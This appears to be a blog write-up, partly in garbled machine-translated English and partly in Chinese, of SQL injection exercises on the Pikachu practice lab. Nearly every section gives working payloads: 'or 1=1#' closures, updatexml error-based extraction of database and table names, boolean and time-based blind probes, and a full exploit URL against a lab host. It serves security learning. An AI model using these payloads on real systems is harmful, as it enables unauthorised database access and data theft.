Web experiments sql injection

 

Digital type implant ( the POST ):

Using digital database queries, try 3 or 3 to select all

Character injection ( GET ):

Queries by the character, with 'or' 1 '=' 1 kobe attempt to remove marks on both sides of the query field

Discovery can be injected

Search Injection:

 

You may have used the like to determine the scope of inquiry

For example select field 1, field 2 from table WHERE username like '%% name $'

we use

k% 'or 1 = 1 # to attempt to close

XX -type implant:

Background can be found by using parentheses query field

We closed on the brackets

kobe') or 1=1#

insert / update injection

Let's register

 

 

We suspect sql statement executed here was about:

Insert into user(name,password,sex,phone,address1,address2) value('1','1','1','1','1','1')

没有回显,所以我们构造错误信息来进行回显

构造payload

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

出现一下显示

通过aaa' and 1=(updatexml(1,concat(0x3a,( database())),1)))#

获得数据库名

通过aaa' and 1=(updatexml(1,concat(0x3a,( select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)

)),1)))#进一步获得数据库里的表名

并以此类推进行sql查询,可以继续获得更多的信息。

delete注入:

留言可以进行删除,可能存在这样的语句

delete from message where id=1

url里面有id信息所以尝试添加1 or updatexml(1, concat(0x7e,database()), 0)

http://172.22.249.92:88/pikachu/vul/sqli/sqli_del.php?id=59%20and%201=(updatexml(1,concat(0x3a,(select%20user())),1))

产生了想要的信息,这样像之前一样一点一点获得信息就行。

 

http header注入:

记录了http头的信息

 

Host: User-Agent: Accept: 三处

测试使用1' or updatexml(1, concat(0x7e, database()), 0) or '

回显成功

 

盲注:

 

 

输入kobe' and 1=1#

输入kobe' and 1=2#

 

我们发现这里的输出只有 用户名存在 用户名不存在 两种输出,所以前面基于报错的方式在这不能用

通过真假判断来尝试出数据库的有关信息

kobe' and length(database())>5#正确

kobe' and length(database())>6#正确

kobe' and length(database())>7#

所以数据库名称长度为7

再用 substr() ascii() 判断数据库由哪些字母组成

Kobe' and ascii(substr(database(), 1, 1)) > 113#

kobe'and ascii(substr(database(), 1, 1)) > 105#

通过这样的真假判断可以猜出数据库名,接着猜出表名,列明

盲注(based on time):

 

无论输入什么都是I don't care,这时我们通过看服务器响应时间查看是否有注入点

可以看到确实相应了5

通过构造该语句kobe' and if((substr(database(), 1, 1))='p', sleep(5), null)#

来进行真假判断,逐个判断通过时间猜出信息

 

 

宽字节注入:

 

输入kobe' or 1=1#但无效果

因为没有回显,所以先预判可以宽字节注入

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df生成""让单引号保留。

 

可以看到成功进行注入。

 

Guess you like

Origin www.cnblogs.com/p201721410015/p/12094437.html
Recommended